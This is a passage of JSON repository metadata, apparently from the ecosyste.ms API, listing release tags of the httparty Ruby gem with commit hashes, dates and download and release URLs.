","icon_url":"https://avatars.githubusercontent.com/u/235?u=34ccc0c78404a1a5fed94fd9329345621da530fb\u0026v=4","repositories_count":74,"last_synced_at":"2023-04-09T03:48:45.004Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/jnunemaker","funding_links":[],"total_stars":9248,"followers":null,"following":null,"created_at":"2022-11-02T16:17:19.724Z","updated_at":"2024-03-25T17:25:34.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker/repositories"},"tags":[{"name":"v0.24.2","sha":"9c89e55ce3578b393e17b2928acab5b5f941e808","kind":"commit","published_at":"2026-01-14T22:53:56.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2/manifests"},{"name":"v0.24.1","sha":"906aab0de3d41129c0003f582f57fd30b970056a","kind":"commit","published_at":"2026-01-14T22:44:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1/manifests"},{"name":"v0.24.0","sha":"55ec76e8d1df7903eab3f7c2367991400d3cf65e","kind":"commit","published_at":"2025-12-28T21:37:53.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0/manifests"},{"name":"v0.23.2","sha":"c74571f7925c8e142d02c2b7d6ebeedf923b1dd1","kind":"commit","published_at":"2025-10-07T21:53:15.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"9417ce158d732fecc753c656accb59c470cfb6f8","kind":"commit","published_at":"2025-03-28T18:28:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"891a4a8093afd4cacecab2719223e3170d07f1c0","kind":"commit","published_at":"2025-03-27T14:45:51.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"6e1f154309a6076208ba9bec8e4183ec619541e0","kind":"commit","published_at":"2024-04-29T12:26:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.22.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"e731057ebc297eb8a750e866b7762e869dea3087","kind":"commit","published_at":"2022-12-30T21:05:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.21.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"32c57d91581fd91cf1ed429c24cf410528934a9c","kind":"commit","published_at":"2021-09-29T13:04:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.20.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0/manifests"},{"name":"v0.19.1","sha":"0d20a4f8225a653ab306d4994cf737e4fdf2b7d4","kind":"commit","published_at":"2021-09-29T12:39:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"b4213368675a8dd7f45e443fd9b8c3f7edb1eee1","kind":"commit","published_at":"2021-09-09T14:57:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0/manifests"},{"name":"v0.18.1","sha":"0e8b82730a143c07c919bb8773f017338f637016","kind":"commit","published_at":"2020-06-10T18:40:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1/manifests"},{"name":"v0.18.0","sha":"b4aba417a502342b1f6940c711e155b8eb8c3951","kind":"commit","published_at":"2020-02-19T16:09:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0/manifests"},{"name":"v0.17.3","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3/manifests"},{"name":"v0","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0/manifests"},{"name":"v0.17.2","sha":"aec466f984fc178257efffcc922c0c559baea5ae","kind":"commit","published_at":"2019-12-16T11:30:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"47c8b2529b999e74bdc5fa80537dfe96276deec2","kind":"commit","published_at":"2019-08-30T16:11:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"b4099defba01231d2faaaa2660476f867e096bfb","kind":"commit","published_at":"2019-04-20T14:07:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0/manifests"},{"name":"v0.16.4","sha":"7b2ad805a5bcc80dc4b06b542dd6de161e5cd95b","kind":"commit","published_at":"2019-02-05T15:39:33.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4/manifests"},{"name":"v0.16.2","sha":"da1b1ad1d67be214b0e7a587edf84a4bc5a5e793","kind":"commit","published_at":"2018-03-30T13:54:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"1a52a134c4aeef77668e56cbcf646d266d798389","kind":"commit","published_at":"2018-03-12T14:45:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"8f6c6a6b95b5b404c82415663ee47ccc890ba9c9","kind":"commit","published_at":"2018-02-13T02:01:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0/manifests"},{"name":"v0.15.7","sha":"2b0a21bccce29c57142af1958b375d0fe2ccd176","kind":"commit","published_at":"2018-02-07T15:57:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7/manifests"},{"name":"v0.15.6","sha":"5b7797b2827610ef35c7f4ce72d144b1748f0ee8","kind":"commit","published_at":"2017-07-21T20:15:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6/manifests"},{"name":"v0.15.5","sha":"7b5147c6885222af6b58ef6fa7c90ff4bb8b91f6","kind":"commit","published_at":"2017-05-19T02:01:50.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5/manifests"},{"name":"v0.15.4","sha":"6406421ac3e0252482afcdf22e652bf5bea754fb","kind":"commit","published_at":"2017-05-17T18:59:35.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4/manifests"},{"name":"v0.15.3","sha":"1c9b41140c72aa92b5c0f8792ee95f9ee0b142eb","kind":"commit","published_at":"2017-05-16T13:24:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"e9f4624c1172120bbd39ddc636620a24fc9386b1","kind":"commit","published_at":"2017-05-12T18:53:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9d4a91fe62b4184baadc2a5fe77a07417653e23c","kind":"commit","published_at":"2017-05-12T13:12:26.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"562e8ee20e7c256fb26ebd2b1eeb4751cb2abeb8","kind":"commit","published_at":"2017-05-11T14:43:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"f4a3e84f36eb8f33b76b9b3ae4739887ab87f495","kind":"commit","published_at":"2016-07-25T14:18:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.14.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0/manifests"},{"name":"v0.13.7","sha":"9d3dbc3852b294173d0d8309e59051491bf7d048","kind":"commit","published_at":"2015-09-23T12:08:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7/manifests"},{"name":"v0.13.6","sha":"5b6f22d2d87419ea862107e9e7947e71b912869a","kind":"commit","published_at":"2015-09-21T01:24:30.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6/manifests"},{"name":"v0.13.5","sha":"38ca4cf2e63d70df49575ceb0f3f669fbafd7739","kind":"commit","published_at":"2015-05-19T16:46:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5/manifests"},{"name":"v0.13.4","sha":"923eadd1ba94ceb614f5edd45d9a3c0d353e5f21","kind":"commit","published_at":"2015-05-13T15:33:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4/manifests"},{"name":"v0.13.3","sha":"107e69a6d1c8ceeb74e2e0a8b70f7b2bdbbd4a7a","kind":"commit","published_at":"2014-11-06T20:01:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3/manifests"},{"name":"v0.13.2","sha":"4679c8314dcace10ed4b912b0a522d14bb05d21d","kind":"commit","published_at":"2014-11-03T15:17:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2/manifests"},{"name":"v0.13.1","sha":"a570e54dd32e7c1ea16b072d0e10f552086ddbdb","kind":"commit","published_at":"2014-04-08T14:54:58.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"3c01a60af29ae6efd9347df23a5866a87488aa14","kind":"commit","published_at":"2014-02-14T18:50:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"7feb0287a0adae1676f4c6abc06414bae05f8b9b","kind":"commit","published_at":"2013-10-10T15:34:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.12.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1fde99ba8aa43372726804e5fe87d8b459baf59b","kind":"tag","published_at":"2013-04-10T13:43:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.11.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0/manifests"},{"name":"v0.10.2","sha":"a320025dbc89e9c572603a47e9e228cbfa285a14","kind":"tag","published_at":"2013-01-27T01:32:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"0f04ba868c92e932f6ad4a64825a95a9819063a3","kind":"tag","published_at":"2013-01-26T16:38:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"3e2ec2bda1f948fbb1e4ffbf531c9ebbbff00795","kind":"tag","published_at":"2013-01-10T20:52:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"d392c2d1cb4ca4413e28a7ef55dcede1fccd2dc6","kind":"tag","published_at":"2012-09-07T18:03:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.9.0","html_url":"